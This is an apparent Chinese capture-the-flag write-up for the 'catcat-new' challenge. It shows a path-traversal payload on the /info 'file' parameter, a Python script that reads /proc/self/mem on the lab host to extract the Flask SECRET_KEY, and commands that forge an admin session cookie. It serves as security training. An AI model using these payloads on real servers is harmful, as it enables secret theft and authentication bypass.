【攻防世界】catcat-new

简介: 【攻防世界】catcat-new

首先进入环境,这是一个介绍猫的网站:

网站的URL没有发现问题,使用dirsearch对网站进行扫描,看是否有可以访问的窗口:

发现 /admin 可以访问,我们尝试访问:

/admin中没有flag。我们返回初始界面,访问其中一个窗口:

发现URL使用GET请求方法上传了名为file的参数,猜想页面可能存在文件包含漏洞。

图片来源:博客园

构造payload检查是否存在文件包含漏洞:

通过回显得知存在文件包含漏洞。

通过工具Wappalyzer查询网站所使用框架:

得知Web框架为 Flask 框架,通过经验我们知道, app.py 通常为 Flask 框架中的主文件。

尝试访问 app.py 文件:

得到 app.py 中的代码,但是代码格式不易读,我们编写代码修改格式:

#需要格式化的代码
code_str = '''import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n    __name__,\n    static_url_path=\'/\', \n    static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n    flag = cat("/flag")\n    os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n    detailtxt = os.listdir(\'./details/\')\n    cats_list = []\n    for i in detailtxt:\n        cats_list.append(i[:i.index(\'.\')])\n\n    return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n    filename = "./details/" + request.args.get(\'file\', "")\n    start = request.args.get(\'start\', "0")\n    end = request.args.get(\'end\', "0")\n    name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n\n    return render_template("detail.html", catname=name, info=cat(filename, start, end))\n\n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n    if session.get(\'admin\') == 1:\n        return flag\n    else:\n        session[\'admin\'] = 0\n        return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n    app.run(host=\'0.0.0.0\', debug=False, port=5637)'''
# 按行分割字符串
lines = code_str.split('\n')
indented_lines = [line if line.strip() else '' for line in lines]
# 连接并打印格式化后的代码
formatted_code = '\n'.join(indented_lines)
print(formatted_code)

打印输出--> 得到标准化易读代码:

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat # type: ignore
flag = ""
app = Flask(
    __name__,
    static_url_path='/', 
    static_folder='static' 
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])
    return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
    return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"
if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

进行代码审计:

@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"

通过这段代码我们得知:session信息中 admin=1 的用户可以访问 /admin 拿到 flag而 session 信息中 admin=0 则会显示 NoNoNo。

我们只需要伪造一个 data为 admin=1 的ssession 即可。

session 的伪造 需要 serect_key,serect_key的值可通过内存数据获取,在读取内存数据文件(proc/self/mem)之前,我们需要知道哪些内存是可以读写的,这就需要我们先通过proc/self/maps获取可读内容的映射地址。

构造 payload: ?file=../../proc/self/maps 并访问:

接着编写脚本,访问可读写的内存区域并且寻找 serect_key:

将 /proc/self/maps 中内容存储在 test.txt 中,用来执行脚本:

import re
import requests
maps = open('攻防世界-catcat-new/test.txt')  # 打开名为 'test.txt' 的文件并赋值给变量 maps
b = maps.read()  # 读取文件内容并赋值给变量 b
lst = b.split('\\n')  # 根据换行符 '\n' 将文件内容拆分为列表,并赋值给变量 lst,映射表中的内容是一行一行的。
for line in lst:  # 遍历列表 lst 中的每一行内容
    if 'rw' in line:  # 如果当前行包含 'rw','rw' 代表该内存区域可读可写,'r'代表可读,'w'代表可写
        addr = re.search('([0-9a-f]+)-([0-9a-f]+)', line)  # 使用正则表达式在当前行中搜索地址范围并保存到变量 addr 中
        start = int(addr.group(1), 16)  # 将地址范围的起始地址从十六进制转换为十进制,并赋值给变量 start
        end = int(addr.group(2), 16)  # 将地址范围的结束地址从十六进制转换为十进制,并赋值给变量 end
        print(start, end)  # 打印起始地址和结束地址
        # 构造请求URL,用于读取 /proc/self/mem 文件的特定区域
        url = f"http://61.147.171.105:52968/info?file=../../../proc/self/mem&start={start}&end={end}"
        
        # 发送 GET 请求并获取响应
        response = requests.get(url)
        
        # 使用正则表达式从响应文本中找到符合指定格式的 SECRET_KEY
        secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)
        
        # 如果找到了 SECRET_KEY,则打印并结束循环
        if secret_key:
            print(secret_key)
            break

执行脚本,输出如图所示:

拿到 serect_key 之后,开始着手伪造 session:

我们需要用到一款在Flask框架中伪造session的工具:Flask-session-cookie-manager:

GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder 

命令语句:

解密:

python flask_session_cookie_manager3.decode -s "serect_key" -c "session"(session通过抓包获取)。

加密:

python flask_session_cookie_manager3.encode -s "serect_key" -t "data" (data为想要修改的数据)。

抓包获取session:

解密session:

经过代码审计,我们得知若想要得到flag,admin必须等于1。

我们将data赋值 {admin=1} 来伪造一个新的 session:

拿到伪造的新的session:

在Burpsuite中修改session的值并进行放包:

拿到flag。

相关文章
|
数据安全/隐私保护
攻防世界web-----easyupload
攻防世界web-----easyupload
|
存储 Shell Linux
【攻防世界】unseping (反序列化与Linux bash shell)
【攻防世界】unseping (反序列化与Linux bash shell)
|
SQL 安全 JavaScript
【网络安全 | CatCTF】ezbypass-cat
【网络安全 | CatCTF】ezbypass-cat
674 0
|
安全 PHP
【攻防世界】file_include (PHP伪协议+过滤器)
【攻防世界】file_include (PHP伪协议+过滤器)
|
存储 PHP 数据安全/隐私保护
攻防世界 Web_php_unserialize
攻防世界 Web_php_unserialize
302 0
|
SQL XML 安全
BugKu CTF(Web):sqli-0x1 & baby lfi & baby lfi 2
BugKu CTF(Web):sqli-0x1 & baby lfi & baby lfi 2
|
SQL 数据库
攻防世界--inget
攻防世界--inget
|
容器 Cloud Native 安全
CTF本地靶场搭建——基于阿里云ACR实现动态flag题型的创建
本文介绍了如何利用阿里云ACR服务创建动态flag题型。阿里云容器镜像服务ACR是一个支持 OCI 标准的云原生制品托管和分发平台,提供全球化加速、大规模分发等功能,简化云原生应用交付。由于dockerhub访问不便,文章建议使用ACR作为替代。步骤包括在虚拟机内创建【GZCTF】->【WEB】->【src】文件夹,编写index.php和flag.sh文件,然后创建Dockerfile。接着,用户需在阿里云注册并使用ACR,构建、推送镜像,并在靶场部署动态容器。通过ACR,可以实现不同账号看到不同flag的动态更新,完成了动态flag题型的创建。
攻防世界18.fileclude
攻防世界18.fileclude
|
安全 索引 Python
【攻防世界】Web_python_template_injection
【攻防世界】Web_python_template_injection